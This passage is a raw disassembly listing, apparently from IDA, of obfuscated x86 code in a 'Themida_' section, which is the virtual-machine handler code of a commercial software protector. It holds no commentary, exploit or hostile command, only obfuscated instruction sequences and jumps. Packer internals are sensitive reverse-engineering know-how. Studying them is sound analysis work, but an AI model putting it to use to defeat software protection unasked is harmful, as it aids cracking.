CODE XREF: Themida_:0055D044j push 26FFh mov [esp], ebx jmp loc_558CC6 ; --------------------------------------------------------------------------- loc_55BA8B: ; CODE XREF: Themida_:0055C546j mov ebx, [esp] jmp loc_557FE3 ; --------------------------------------------------------------------------- loc_55BA93: ; CODE XREF: Themida_:0055188Fj sub esp, 4 mov [esp], edx push 3E7Dh mov [esp], esp jmp loc_552ACD ; --------------------------------------------------------------------------- loc_55BAA9: ; CODE XREF: Themida_:00556ACDj add eax, 0FF200697h add edi, eax pop eax add edi, 4 jmp loc_55B92E ; --------------------------------------------------------------------------- loc_55BAB9: ; CODE XREF: Themida_:00557402j push esi push 293Bh mov [esp], ecx mov ecx, 696A5811h push eax push ebp push 87E248Fh pop ebp inc ebp sub ebp, 0F6F8CE89h push ebp pop eax pop ebp dec eax add eax, 57E5020Fh mov esi, eax pop eax sub esi, ecx push dword ptr [esp] jmp loc_55A0F8 ; --------------------------------------------------------------------------- loc_55BAEC: ; CODE XREF: Themida_:00551659j mov edi, [esp] add esp, 4 add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_557E4E ; --------------------------------------------------------------------------- loc_55BB03: ; CODE XREF: Themida_:005529D5j sub edi, 2D1262B0h sub edi, esi push ecx jmp loc_553805 ; --------------------------------------------------------------------------- loc_55BB11: ; CODE XREF: Themida_:0055BB50j push 4806h mov [esp], edx mov dl, bl mov bl, [esp+4] mov [esp+4], dl mov edx, [esp] jmp loc_553606 ; --------------------------------------------------------------------------- loc_55BB2B: ; CODE XREF: Themida_:0055592Dj mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ecx not byte ptr [esp] mov ecx, [esp] add esp, 4 xchg cl, bl jmp loc_55BB11 ; --------------------------------------------------------------------------- loc_55BB55: ; CODE XREF: Themida_:0055A1D9j pop cx jmp loc_55B579 ; --------------------------------------------------------------------------- loc_55BB5C: ; CODE XREF: Themida_:0055B8C1j push dword ptr [esp] pop eax add esp, 4 jmp loc_5594D6 ; --------------------------------------------------------------------------- loc_55BB6B: ; CODE XREF: Themida_:00554957j shr ebx, 5 sub ebx, 47B40433h xor ebx, 0BA87B4C5h jmp loc_552223 ; --------------------------------------------------------------------------- loc_55BB7F: ; CODE XREF: Themida_:0055B308j mov [esp], edx mov edx, esp jmp loc_55951A ; --------------------------------------------------------------------------- loc_55BB89: ; CODE XREF: Themida_:00551A41j mov [esp], edx push eax push ebx push 3C71009h pop ebx neg ebx xor ebx, 68CD4ECCh inc ebx push ebx not dword ptr [esp] pop ebx push edi mov edi, 6B0A4EC3h add ebx, 26C2946h sub ebx, 79085F25h sub ebx, edi add ebx, 79085F25h jmp loc_5538D0 ; --------------------------------------------------------------------------- loc_55BBC1: ; CODE XREF: Themida_:0055C709j push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx not dword ptr [esp] pop ebx sub ebx, 0F524EC36h jmp loc_551A8B ; --------------------------------------------------------------------------- loc_55BBE3: ; CODE XREF: Themida_:005535D0j pop ecx jmp loc_552CBB ; --------------------------------------------------------------------------- loc_55BBE9: ; CODE XREF: Themida_:00557A77j or esi, 58C4183h and esi, 48B55212h jmp loc_55BC65 ; --------------------------------------------------------------------------- loc_55BBFA: ; CODE XREF: Themida_:00559C35j add esp, 4 add eax, ebp push dword ptr [esp] pop ebp add esp, 4 xchg eax, [esp] mov esp, [esp] jmp loc_559613 ; --------------------------------------------------------------------------- loc_55BC17: ; CODE XREF: Themida_:00558F63j sub ebx, edi jmp loc_557FC7 ; --------------------------------------------------------------------------- mov cx, [esp] push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], ebx mov ebx, 650F7FE4h xor ebx, 650F7FE6h jmp loc_559093 ; --------------------------------------------------------------------------- loc_55BC44: ; CODE XREF: Themida_:0055B85Cj add al, dh pop dx jmp near ptr unk_55217F ; --------------------------------------------------------------------------- loc_55BC4D: ; CODE XREF: Themida_:00553377j mov ebx, 0AFC3FF54h sub edi, ebx pop ebx add edx, edi pop edi xchg edx, [esp] pop esp shl byte ptr [esp], cl pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55BC65: ; CODE XREF: Themida_:0055BBF5j add esi, 3BEC5D09h jmp loc_55ACBE ; --------------------------------------------------------------------------- loc_55BC70: ; CODE XREF: Themida_:00556C4Aj add ebx, 2 xchg ebx, [esp] pop esp imul cx, ax push cx pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55BC83: ; CODE XREF: Themida_:00551989j add esi, ecx pop ecx sub esi, 6E9D4E97h and esi, 3BD61FB3h or esi, 6D92005Eh xor esi, 7FD21CFBh jmp loc_55223F ; --------------------------------------------------------------------------- loc_55BCA3: ; CODE XREF: Themida_:0055655Bj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub esp, 4 mov [esp], ebp jmp loc_553EC3 ; --------------------------------------------------------------------------- loc_55BCC0: ; CODE XREF: Themida_:0055484Ej ; Themida_:0055618Cj ... push ebp push ebx push dword ptr [esp] jmp loc_55A576 ; --------------------------------------------------------------------------- loc_55BCCA: ; CODE XREF: Themida_:00556F9Aj pop ebp mov edi, [esp] jmp loc_554948 ; --------------------------------------------------------------------------- loc_55BCD3: ; CODE XREF: Themida_:00559061j shr ecx, 6 jmp loc_5569CE ; --------------------------------------------------------------------------- loc_55BCDB: ; CODE XREF: Themida_:0055967Bj pop esp jmp loc_55BE9C ; --------------------------------------------------------------------------- loc_55BCE1: ; CODE XREF: Themida_:005568D3j mov edx, [esp] jmp loc_55360E ; --------------------------------------------------------------------------- loc_55BCE9: ; CODE XREF: Themida_:00558968j add ebx, 38B908BAh mov edx, [esp] add esp, 4 sub esp, 4 jmp loc_5556B4 ; --------------------------------------------------------------------------- loc_55BD00: ; CODE XREF: Themida_:005531F4j add esp, 4 mov esi, [esp] add esp, 4 push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_55C073 ; --------------------------------------------------------------------------- loc_55BD21: ; CODE XREF: Themida_:00559985j add esp, 4 shr ecx, 2 push esi sub esp, 4 mov [esp], ebx pop esi push esi push 5D0Ah mov [esp], eax jmp loc_557306 ; --------------------------------------------------------------------------- loc_55BD3D: ; CODE XREF: Themida_:00556F60j add edx, 21D75051h add edx, eax jmp loc_552758 ; --------------------------------------------------------------------------- loc_55BD4A: ; CODE XREF: Themida_:005513E4j mov [esp], ecx push 757B4F7Ah pop ecx sub eax, 29B40AFDh sub eax, 1B9658FBh add eax, ecx jmp loc_55A8B1 ; --------------------------------------------------------------------------- loc_55BD64: ; CODE XREF: Themida_:0055CD54j sub esi, 6A1C014Ch jmp loc_55A7D7 ; --------------------------------------------------------------------------- loc_55BD6F: ; CODE XREF: Themida_:0055556Ej pop eax pop edx sub al, cl mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp pop dx push dx push ecx push edx mov dh, 87h push eax mov al, 0C1h add al, 32h sub dh, al pop eax push eax mov al, dh mov ch, al jmp loc_55A66D ; --------------------------------------------------------------------------- loc_55BD9F: ; CODE XREF: Themida_:0055B514j add al, 30h add al, dl sub al, 30h pop edx sub al, 33h add al, bl push bx push ecx mov cl, 0Fh dec cl or cl, 63h inc cl jmp loc_554C08 ; --------------------------------------------------------------------------- loc_55BDBB: ; CODE XREF: Themida_:00552610j push esp pop edi push ecx jmp loc_55C908 ; --------------------------------------------------------------------------- loc_55BDC3: ; CODE XREF: Themida_:00553CDAj push 4A9Bh mov [esp], edi mov edi, esp push ebp push esi mov esi, 4 mov ebp, esi pop esi add edi, 7A8027E7h jmp loc_55A4C9 ; --------------------------------------------------------------------------- loc_55BDE2: ; CODE XREF: Themida_:0055C994j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax push edx push ebx mov ebx, 11C92B59h jmp loc_556728 ; --------------------------------------------------------------------------- loc_55BE04: ; CODE XREF: Themida_:00558651j push esi mov esi, 0 jmp loc_555F4F ; --------------------------------------------------------------------------- loc_55BE0F: ; CODE XREF: Themida_:0055ABF1j add ecx, 4 jmp loc_559066 ; --------------------------------------------------------------------------- loc_55BE1A: ; CODE XREF: Themida_:00557F29j add esp, 4 push dword ptr [esp] pop eax jmp loc_558D0E ; --------------------------------------------------------------------------- loc_55BE29: ; CODE XREF: Themida_:00558A1Ej pop ecx push esi mov esi, 61845084h jmp loc_55512B ; --------------------------------------------------------------------------- loc_55BE35: ; CODE XREF: Themida_:005557F9j pop ecx pop dword ptr [esp] pop esp sar word ptr [esp], cl pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55BE44: ; CODE XREF: Themida_:00551601j add edx, 4 jmp loc_5576B8 ; --------------------------------------------------------------------------- loc_55BE4F: ; CODE XREF: Themida_:00551EBEj add bl, 0F4h add al, bl pop ebx push dword ptr [esp] pop ecx push esi mov esi, esp push ecx mov ecx, 41E3465Fh jmp loc_55B60E ; --------------------------------------------------------------------------- loc_55BE67: ; CODE XREF: Themida_:00557010j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push 1E6Fh mov [esp], edi push 10h mov edi, [esp] push esi mov esi, esp push ebx jmp loc_55298D ; --------------------------------------------------------------------------- loc_55BE8E: ; CODE XREF: Themida_:0055982Ej xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_55B33B ; --------------------------------------------------------------------------- loc_55BE9C: ; CODE XREF: Themida_:0055BCDCj mov cx, [esp] push 6391h mov [esp], eax push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_551EF0 ; --------------------------------------------------------------------------- loc_55BEBF: ; CODE XREF: Themida_:0055B614j not ecx jmp loc_558E58 ; --------------------------------------------------------------------------- loc_55BEC6: ; CODE XREF: Themida_:00554648j not edx shl edx, 8 add edx, 1D45A5Dh sub edi, edx pop edx add edi, esi add edi, 5C3A545Dh jmp loc_5570BA ; --------------------------------------------------------------------------- loc_55BEE1: ; CODE XREF: Themida_:00558F0Cj mov [esp], esi push eax push 7E14453h push dword ptr [esp] jmp loc_5562A8 ; --------------------------------------------------------------------------- loc_55BEF2: ; CODE XREF: Themida_:00553E71j mov [esp], ebp mov ebp, 34517252h jmp loc_55295C ; --------------------------------------------------------------------------- loc_55BEFF: ; CODE XREF: Themida_:005585ACj add edx, 6DA13F99h sub edx, 23C31CCAh jmp loc_5516DB ; --------------------------------------------------------------------------- loc_55BF10: ; CODE XREF: Themida_:005518FBj pop edi pop dword ptr [esp] pop esp rol word ptr [esp], cl pushf jmp loc_551368 ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_551368 ; --------------------------------------------------------------------------- loc_55BF27: ; CODE XREF: Themida_:00559084j inc edi dec edi shl edi, 3 xor edi, 2C4376CCh add esi, 1FD92AF4h add esi, edi sub esi, 1FD92AF4h pop edi push edx mov edx, 2 jmp loc_55A42B ; --------------------------------------------------------------------------- loc_55BF4C: ; CODE XREF: Themida_:00552901j sub ecx, 2 xchg ecx, [esp] jmp loc_5599CF ; --------------------------------------------------------------------------- loc_55BF57: ; CODE XREF: Themida_:0055374Ej push eax mov eax, 2 mov ebp, eax pop eax jmp loc_5525A7 ; --------------------------------------------------------------------------- loc_55BF65: ; CODE XREF: Themida_:005584C9j push ecx push 1 pop ecx mov edx, ecx push dword ptr [esp] pop ecx add esp, 4 and eax, edx pop edx or edx, eax shl edx, 1 push 3C40h mov [esp], eax push ecx jmp loc_553579 ; --------------------------------------------------------------------------- loc_55BF8D: ; CODE XREF: Themida_:00557EB4j push 21A5h mov [esp], esi mov esi, 7AE022B4h mov ecx, 9DFF291Dh push edi mov edi, 603147CCh sub ecx, edi jmp loc_554C66 ; --------------------------------------------------------------------------- loc_55BFAC: ; CODE XREF: Themida_:0055AA06j mov edx, 0E133782h sub edx, 61DB518Bh or edx, 661F3876h jmp loc_5539FD ; --------------------------------------------------------------------------- loc_55BFC2: ; CODE XREF: Themida_:00551FD0j push 58B6h mov [esp], ebx jmp loc_5547B8 ; --------------------------------------------------------------------------- loc_55BFCF: ; CODE XREF: Themida_:00551B89j sub esi, 6FFF7985h push ebp jmp loc_558656 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], eax push esp jmp loc_55A65F ; --------------------------------------------------------------------------- loc_55BFEB: ; CODE XREF: Themida_:0055A4EBj pop esp pop ebp push edx mov edx, 63DF5259h xor edx, 0DD818C0h xor edx, 74897B9Fh or esi, edx jmp loc_554F70 ; --------------------------------------------------------------------------- loc_55C006: ; CODE XREF: Themida_:00556CA0j inc eax xor eax, 2749ED8Ah jmp loc_559E07 ; --------------------------------------------------------------------------- loc_55C011: ; CODE XREF: Themida_:00559C54j pop esi xor eax, [esp] jmp loc_5585F1 ; --------------------------------------------------------------------------- loc_55C01A: ; CODE XREF: Themida_:0055918Bj mov esi, 26F94EE3h and esi, 5656660Eh neg esi dec esi shr esi, 7 dec esi sub esi, 0AB3D04CDh mov eax, esi pop esi push eax inc dword ptr [esp] pop eax neg eax add eax, 56B65AAAh add ebx, eax pop eax add ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov cx, [esp] push edi mov edi, esp add edi, 4 push eax jmp loc_5547D8 ; --------------------------------------------------------------------------- loc_55C066: ; CODE XREF: Themida_:00552FE1j add eax, 4 xchg eax, [esp] jmp loc_55CCC3 ; --------------------------------------------------------------------------- loc_55C073: ; CODE XREF: Themida_:0055BD1Cj mov [esp], ecx jmp loc_554AFB ; --------------------------------------------------------------------------- loc_55C07B: ; CODE XREF: Themida_:00551D63j btr [esp], ax pushf jmp loc_5520A5 ; --------------------------------------------------------------------------- loc_55C086: ; CODE XREF: Themida_:00554074j pop esp imul ecx push 60BDh mov [esp], edx push esp pop edx sub esp, 4 mov [esp], ebp mov ebp, 6FF73FEEh not ebp jmp loc_558D68 ; --------------------------------------------------------------------------- lodsb xor al, bl push ecx jmp loc_553E4B ; --------------------------------------------------------------------------- loc_55C0AE: ; CODE XREF: Themida_:00556E84j dec esi add esi, 0D0CA3CDh mov ebp, esi pop esi sub edi, 62526940h add edi, ebp add edi, 62526940h pop ebp jmp loc_559721 ; --------------------------------------------------------------------------- loc_55C0CC: ; CODE XREF: Themida_:0055284Bj push dword ptr [esp+4] jmp loc_557ED7 ; --------------------------------------------------------------------------- loc_55C0D5: ; CODE XREF: Themida_:005526AFj mov [esp], eax mov ah, 0A1h add bh, ah pop eax or bh, 10h push ax mov ah, 0C4h add bh, ah pop ax add al, bh mov ebx, [esp] add esp, 4 push eax mov eax, esp jmp loc_5542C6 ; --------------------------------------------------------------------------- mov cx, [esp] push 6745h mov [esp], ebp push esp jmp loc_555133 ; --------------------------------------------------------------------------- loc_55C10A: ; CODE XREF: Themida_:005540A2j add edx, edi jmp loc_55794C ; --------------------------------------------------------------------------- lodsb jmp loc_557771 ; --------------------------------------------------------------------------- loc_55C117: ; CODE XREF: Themida_:00558EF9j push ebp jmp loc_55B317 ; --------------------------------------------------------------------------- loc_55C11D: ; CODE XREF: Themida_:00553979j mov edx, esp jmp loc_552D1A ; --------------------------------------------------------------------------- loc_55C124: ; CODE XREF: Themida_:0055779Aj pop ecx xor edx, 75A13D30h jmp loc_553B9E ; --------------------------------------------------------------------------- loc_55C130: ; CODE XREF: Themida_:0055B914j pop ebp shr eax, 0Eh jmp loc_55628E ; --------------------------------------------------------------------------- loc_55C139: ; CODE XREF: Themida_:00556447j add ebx, 4FFB7235h jmp loc_559883 ; --------------------------------------------------------------------------- loc_55C144: ; CODE XREF: Themida_:00553CE5j push 0C1Bh mov [esp], eax jmp loc_559D62 ; --------------------------------------------------------------------------- loc_55C151: ; CODE XREF: Themida_:0055CCEFj push ecx mov ecx, esp sub esp, 4 mov [esp], edi push ecx jmp loc_55CF85 ; --------------------------------------------------------------------------- loc_55C163: ; CODE XREF: Themida_:005516F5j add edi, 2 xchg edi, [esp] mov esp, [esp] jmp loc_558047 ; --------------------------------------------------------------------------- loc_55C171: ; CODE XREF: Themida_:005553DBj add eax, 29B40AFDh pop ecx push ecx push 4C2487D4h pop ecx push ecx jmp loc_554351 ; --------------------------------------------------------------------------- loc_55C184: ; CODE XREF: Themida_:0055A61Fj sub esi, 0FFFFFFFFh jmp loc_5550B0 ; --------------------------------------------------------------------------- loc_55C18C: ; CODE XREF: Themida_:0055384Fj mov edi, 3351345Ah jmp loc_5550D7 ; --------------------------------------------------------------------------- loc_55C196: ; CODE XREF: Themida_:00555C91j mov ebp, 296E0743h and ebp, 1D49677Ah push edx mov edx, 5EE2215Ah push eax mov eax, 2C232904h shl eax, 1 push ebx mov ebx, 341A2939h sub eax, ebx pop ebx or edx, eax jmp loc_5578C9 ; --------------------------------------------------------------------------- loc_55C1BF: ; CODE XREF: Themida_:0055B468j xchg eax, [esp] pop esp cmp cl, al pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55C1CB: ; CODE XREF: Themida_:005513BFj mov esi, edi mov edi, [esp] jmp loc_557671 ; --------------------------------------------------------------------------- loc_55C1D5: ; CODE XREF: Themida_:00558FDFj shl ebx, 7 add ebx, 0FFFF8004h add ecx, ebx pop ebx jmp loc_557324 ; --------------------------------------------------------------------------- loc_55C1E6: ; CODE XREF: Themida_:0055A8ACj mov [esp], ebp mov ebp, 69827569h xor esi, ebp mov ebp, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub esi, 0FFFFFFFFh sub esi, 351E52E6h add ecx, esi pop esi add ecx, 2 jmp loc_554389 ; --------------------------------------------------------------------------- loc_55C21E: ; CODE XREF: Themida_:0055241Cj mov dh, 0Bh not dh push edx jmp loc_559A4E ; --------------------------------------------------------------------------- loc_55C228: ; CODE XREF: Themida_:00554117j shr cl, 7 jmp loc_55501B ; --------------------------------------------------------------------------- loc_55C230: ; CODE XREF: Themida_:00554B45j sub ebp, ecx pop ecx xchg ebp, [esp] pop esp mov [esp], edx jmp loc_5537E0 ; --------------------------------------------------------------------------- loc_55C23F: ; CODE XREF: Themida_:0055AE15j pop ebp jmp loc_555ABE ; --------------------------------------------------------------------------- loc_55C245: ; CODE XREF: Themida_:00554717j add edi, ebx sub edi, 4BD05B84h pop ebx push ebp mov ebp, 2 add edi, ebp pop ebp xchg edi, [esp] pop esp push ebp push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_55645E ; --------------------------------------------------------------------------- loc_55C273: ; CODE XREF: Themida_:0055AFA1j add ecx, 4 xchg ecx, [esp] mov esp, [esp] xor eax, edi mov edi, [esp] jmp loc_556AFA ; --------------------------------------------------------------------------- loc_55C286: ; CODE XREF: Themida_:005529E8j mov cl, 0EFh jmp loc_55A912 ; --------------------------------------------------------------------------- loc_55C28D: ; CODE XREF: Themida_:0055C71Bj mov bl, cl not bl jmp loc_55965C ; --------------------------------------------------------------------------- loc_55C296: ; CODE XREF: Themida_:0055B8D5j mov eax, 27F642FBh push ebx push esi push ecx mov ecx, 6B123085h xor ecx, 0B624C14h jmp loc_5592BA ; --------------------------------------------------------------------------- loc_55C2AE: ; CODE XREF: Themida_:00556046j dec esi inc esi add esi, 0CEC7C604h sub edx, esi pop esi push dword ptr [esp] pop ecx add esp, 4 and eax, edx mov edx, [esp] jmp loc_553E0C ; --------------------------------------------------------------------------- loc_55C2CA: ; CODE XREF: Themida_:0055D219j push ebx mov ebx, esp jmp loc_5591F1 ; --------------------------------------------------------------------------- loc_55C2D2: ; CODE XREF: Themida_:0055CCF8j add edx, 4CC50409h add edx, eax sub edx, 4CC50409h pop eax push 5114h mov [esp], edi mov edi, 2 add edx, edi pop edi jmp loc_557E46 ; --------------------------------------------------------------------------- loc_55C2F6: ; CODE XREF: Themida_:0055766Cj add dword ptr [esp], 4 pop eax push esi push edx mov edx, 4 mov esi, edx pop edx add eax, esi mov esi, [esp] add esp, 4 push esi mov esi, 2 sub eax, 69A502ECh jmp loc_559C4D ; --------------------------------------------------------------------------- loc_55C31D: ; CODE XREF: Themida_:0055142Dj push 13B2h mov [esp], edx mov dl, 44h mov ch, 0C9h xor ch, dl mov edx, [esp] push ebp mov ebp, esp jmp loc_5516FA ; --------------------------------------------------------------------------- loc_55C336: ; CODE XREF: Themida_:0055C5C1j mov edi, esp add edi, 4 jmp loc_559B51 ; --------------------------------------------------------------------------- loc_55C343: ; CODE XREF: Themida_:0055D07Aj mov ebx, 24F83A23h sub eax, ebx pop ebx add eax, ebx jmp loc_5595FC ; --------------------------------------------------------------------------- loc_55C352: ; CODE XREF: Themida_:005528E1j add esp, 4 jmp loc_551368 ; --------------------------------------------------------------------------- loc_55C35A: ; CODE XREF: Themida_:0055AAE1j mov ecx, 163E4E48h add ecx, 31A55684h dec ecx sub ecx, 0FFFFFFFFh inc ecx push ecx xchg ebp, [esp] inc ebp xchg ebp, [esp] mov ecx, [esp] add esp, 4 push edi mov edi, 47E3A4CDh jmp loc_55182B ; --------------------------------------------------------------------------- loc_55C383: ; CODE XREF: Themida_:005548A9j xor ecx, 1EF32ABFh jmp loc_5597BA ; --------------------------------------------------------------------------- loc_55C38E: ; CODE XREF: Themida_:0055D27Bj add dword ptr [esp], 4 jmp loc_558A23 ; --------------------------------------------------------------------------- loc_55C397: ; CODE XREF: Themida_:0055CDB4j pop ebx jmp loc_552F36 ; --------------------------------------------------------------------------- loc_55C39D: ; CODE XREF: Themida_:00553302j mov ebx, [esp] push ebp jmp loc_5519C6 ; --------------------------------------------------------------------------- loc_55C3A6: ; CODE XREF: Themida_:0055640Ej mov edi, [esp] add esp, 4 sub eax, 226E735Eh push edi jmp loc_5556DB ; --------------------------------------------------------------------------- loc_55C3BA: ; CODE XREF: Themida_:00558599j sub esp, 4 mov [esp], edx jmp loc_55CD0D ; --------------------------------------------------------------------------- loc_55C3C8: ; CODE XREF: Themida_:00558392j push eax push ecx mov cl, 0CDh mov al, 0B2h sub al, 93h sub al, cl add al, 93h pop ecx add al, 28h xchg dl, al inc dl push bx mov bl, dl mov dl, al jmp loc_5587C3 ; --------------------------------------------------------------------------- loc_55C3E6: ; CODE XREF: Themida_:0055732Aj pop esp jmp loc_552C69 ; --------------------------------------------------------------------------- loc_55C3EC: ; CODE XREF: Themida_:0055B53Dj mov ebp, 2A38230Fh push edi jmp loc_552F1C ; --------------------------------------------------------------------------- loc_55C3F7: ; CODE XREF: Themida_:005546FDj push 2F39788Ch mov ebx, [esp] add esp, 4 not ebx xchg eax, ebx jmp loc_55B46D ; --------------------------------------------------------------------------- loc_55C40A: ; CODE XREF: Themida_:0055CAA4j push ecx push eax mov eax, 6EE25DB3h mov ecx, 0F202B85Ch add ecx, eax pop eax add esi, ecx pop ecx sub esi, 130750D6h sub esi, 0E3BF513h push esi add dword ptr [esp], 7767243Dh pop ecx sub ecx, 7767243Dh mov esi, [esp] add esp, 4 not ecx jmp loc_551566 ; --------------------------------------------------------------------------- loc_55C447: ; CODE XREF: Themida_:00559657j mov [esp], ebx push eax mov ah, dl mov bl, ah jmp loc_55C7C7 ; --------------------------------------------------------------------------- loc_55C454: ; CODE XREF: Themida_:0055B71Aj mov dx, [esp] jmp loc_559B6D ; --------------------------------------------------------------------------- loc_55C45D: ; CODE XREF: Themida_:0055519Dj sub ebx, 0DF78EF9Eh add eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 sub eax, 2A664DC3h add eax, ecx push esi mov esi, 72CF3581h inc esi jmp loc_5563BF ; --------------------------------------------------------------------------- loc_55C487: ; CODE XREF: Themida_:00559430j sub eax, esi jmp loc_55AC6D ; --------------------------------------------------------------------------- loc_55C48E: ; CODE XREF: Themida_:005577A5j mov [esp], ebx jmp loc_55B5AC ; --------------------------------------------------------------------------- loc_55C496: ; CODE XREF: Themida_:0055C910j sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_558161 ; --------------------------------------------------------------------------- loc_55C4A7: ; CODE XREF: Themida_:005529B4j pop edi add ecx, 4 xchg ecx, [esp] pop esp push dword ptr [esp] pop eax push edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi push 769Dh mov [esp], edx mov edx, 4 push ebp jmp loc_55740F ; --------------------------------------------------------------------------- loc_55C4D8: ; CODE XREF: Themida_:00558CFAj add ebp, edi add ebp, 4AA14433h pop edi add ebp, 4 xor ebp, [esp] jmp loc_5540A7 ; --------------------------------------------------------------------------- loc_55C4EF: ; CODE XREF: Themida_:00554F87j xchg ebx, [esp] pop esp pop dword ptr [esp] jmp loc_552850 ; --------------------------------------------------------------------------- loc_55C4FB: ; CODE XREF: Themida_:005587CBj xor al, 6Fh jmp loc_556B6A ; --------------------------------------------------------------------------- loc_55C502: ; CODE XREF: Themida_:0055A738j push dword ptr [esp] pop ebx push edx jmp loc_559C1B ; --------------------------------------------------------------------------- loc_55C50C: ; CODE XREF: Themida_:0055C6C1j push eax jmp loc_55469B ; --------------------------------------------------------------------------- loc_55C512: ; CODE XREF: Themida_:00553B71j push esp jmp loc_5540C4 ; --------------------------------------------------------------------------- loc_55C518: ; CODE XREF: Themida_:005570D8j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx push ecx jmp loc_5588BC ; --------------------------------------------------------------------------- loc_55C533: ; CODE XREF: Themida_:00552795j push 358Bh mov [esp], ebx push edi mov edi, 1CE5344Eh push 1CE53C4Eh jmp loc_55BA8B ; --------------------------------------------------------------------------- loc_55C54B: ; CODE XREF: Themida_:005563BAj sub ebp, edi mov edi, [esp] add esp, 4 xchg edi, ebp inc edi push ebp push edi jmp loc_553226 ; --------------------------------------------------------------------------- loc_55C560: ; CODE XREF: Themida_:0055875Ej inc ebp xor ebp, 66123901h xor ebp, 0B10EAB31h add eax, ebp jmp loc_55B452 ; --------------------------------------------------------------------------- loc_55C574: ; CODE XREF: Themida_:00555D0Dj push eax not dword ptr [esp] pop eax sub eax, 0C67037Ah xor eax, 0A51AB381h add edx, eax pop eax add edx, ecx sub edx, 2FA077E5h mov ecx, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] sub esp, 4 mov [esp], esi sub esp, 4 push esp pop dword ptr [esp] jmp loc_55377F ; --------------------------------------------------------------------------- loc_55C5AF: ; CODE XREF: Themida_:005541CAj add edx, 4 add edx, 4 jmp loc_55AC27 ; --------------------------------------------------------------------------- loc_55C5C0: ; CODE XREF: Themida_:0055C6CAj push edi jmp loc_55C336 ; --------------------------------------------------------------------------- loc_55C5C6: ; CODE XREF: Themida_:00553DA1j xor edi, 0D489934Fh jmp loc_554516 ; --------------------------------------------------------------------------- loc_55C5D1: ; CODE XREF: Themida_:005551D9j add edi, ebp pop ebp add edi, edx sub edi, 481310E9h pop edx add edi, 4 xor edi, [esp] xor [esp], edi jmp loc_5528E6 ; --------------------------------------------------------------------------- loc_55C5EB: ; CODE XREF: Themida_:00558B35j pop eax jmp loc_5533DC ; --------------------------------------------------------------------------- loc_55C5F1: ; CODE XREF: Themida_:005516E1j add edx, edi push edi mov edi, 1E9F7D51h sub edi, 1E1A5E54h or edi, 670C753Ch xchg eax, edi jmp loc_558513 ; --------------------------------------------------------------------------- loc_55C60B: ; CODE XREF: Themida_:0055AF40j mov [esp], eax mov ah, 33h jmp loc_55B012 ; --------------------------------------------------------------------------- loc_55C615: ; CODE XREF: Themida_:0055D463j mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 push 70DCh mov [esp], eax push ecx push edx mov edx, 15C814AEh mov ecx, edx mov edx, [esp] add esp, 4 and ecx, 0D4364AEh neg ecx inc ecx dec ecx jmp loc_5528F1 ; --------------------------------------------------------------------------- loc_55C64A: ; CODE XREF: Themida_:00551CE6j sub ch, bh mov ebx, [esp] add esp, 4 jmp loc_5533EF ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 jmp loc_552A90 ; --------------------------------------------------------------------------- loc_55C66E: ; CODE XREF: Themida_:00552AC8j pop ebx add al, bl jmp loc_551737 ; --------------------------------------------------------------------------- loc_55C676: ; CODE XREF: Themida_:005537F8j mov [esp], esp add dword ptr [esp], 4 jmp loc_5564F7 ; --------------------------------------------------------------------------- loc_55C685: ; CODE XREF: Themida_:00557E49j xor [esp], edx xor edx, [esp] mov esp, [esp] xor [esp], ax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55C698: ; CODE XREF: Themida_:00552EDAj jmp loc_551368 ; --------------------------------------------------------------------------- loc_55C69D: ; CODE XREF: Themida_:00552073j mov esi, eax pop eax add edi, esi pop esi xchg edi, [esp] pop esp ror dword ptr [esp], cl pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55C6B0: ; CODE XREF: Themida_:005521D0j inc ebx not ebx jmp loc_558A76 ; --------------------------------------------------------------------------- loc_55C6B8: ; CODE XREF: Themida_:0055512Ej add edx, eax pop eax push esi mov esi, 3C203657h jmp loc_55C50C ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_55C5C0 ; --------------------------------------------------------------------------- lodsd push edx push ebp mov ebp, 150000E5h jmp loc_55D10A ; --------------------------------------------------------------------------- loc_55C6DC: ; CODE XREF: Themida_:0055B5A7j pop edx jmp loc_5549EE ; --------------------------------------------------------------------------- loc_55C6E2: ; CODE XREF: Themida_:00554100j xchg edx, [esp] pop esp mov [esp], ecx jmp loc_551913 ; --------------------------------------------------------------------------- loc_55C6EE: ; CODE XREF: Themida_:00558A11j sub esp, 4 mov [esp], ecx jmp loc_55AB80 ; --------------------------------------------------------------------------- loc_55C6F9: ; CODE XREF: Themida_:00559819j pop esp push edx mov dl, 0E6h jmp loc_554D7A ; --------------------------------------------------------------------------- loc_55C702: ; CODE XREF: Themida_:00551BEEj 